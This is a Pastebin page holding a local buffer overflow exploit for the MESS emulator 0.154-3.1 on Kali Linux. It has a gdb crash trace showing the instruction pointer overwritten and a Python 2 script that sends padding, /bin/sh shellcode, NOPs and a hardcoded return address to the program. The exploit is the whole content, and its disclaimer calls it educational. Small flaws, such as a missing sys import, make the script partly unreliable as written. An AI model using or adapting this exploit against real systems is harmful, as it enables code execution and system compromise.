Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Author: Juan Sacco - http://www.exploitpack.com -
- jsacco@exploitpack.com
- # Program affected: Multi Emulator Super System (MESS)
- # Version: 0.154-3.1
- #
- # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
- #
- # Program description: MESS is an emulator for various consoles and
- computing systems, sharing a
- # lot of codebase with the MAME project.
- # Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
- # MD5sum: ae8650a6de842e6792ba83785ac0dbef
- # Website: http://mamedev.org/
- #
- # gdb$ run -gamma $(python -c 'print "\x41"*4080')
- # Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
- # [Thread debugging using libthread_db enabled]
- # Using host libthread_db library
- "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
- #
- # Program received signal SIGSEGV, Segmentation fault.
- #
- #
- --------------------------------------------------------------------------[regs]
- #
- # EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094 o d
- I t S z a p c
- # ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP:
- 0x41414141
- # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
- #
- #
- --------------------------------------------------------------------------[code]
- #
- # => 0x9684539: mov esi,DWORD PTR [ebx+0x48]
- # 0x968453c: lea edi,[ebp+esi*1+0x0]
- # 0x9684540: push edi
- # 0x9684541: push ebx
- # 0x9684542: call 0x96843b0
- # 0x9684547: add esp,0x10
- # 0x968454a: test al,al
- # 0x968454c: je 0x96845ad
- #
- #
- --------------------------------------------------------------------------------
- #
- # 0x41414141 in ?? ()
- #
- # gdb$ backtrace
- #
- # #1 0x41414141 in ?? ()
- import os,subprocess
- def run():
- try:
- print "# Mess Emulator Buffer Overflow by Juan Sacco"
- print "# This exploit is for educational purposes only"
- # JUNK + SHELLCODE + NOPS + EIP
- junk = "\x41"*4084
- shellcode =
- "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
- nops = "\x90"*12
- eip = "\xd1\xf3\xff\xbf"
- subprocess.call(["mess",' ', junk + shellcode + nops + eip])
- except OSError as e:
- if e.errno == os.errno.ENOENT:
- print "Sorry, Mess emulator not found!"
- else:
- print "Error executing exploit"
- raise
- def howtousage():
- print "Snap! Something went wrong"
- sys.exit(-1)
- if __name__ == '__main__':
- try:
- print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
- print "Author: Juan Sacco"
- except IndexError:
- howtousage()
- run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement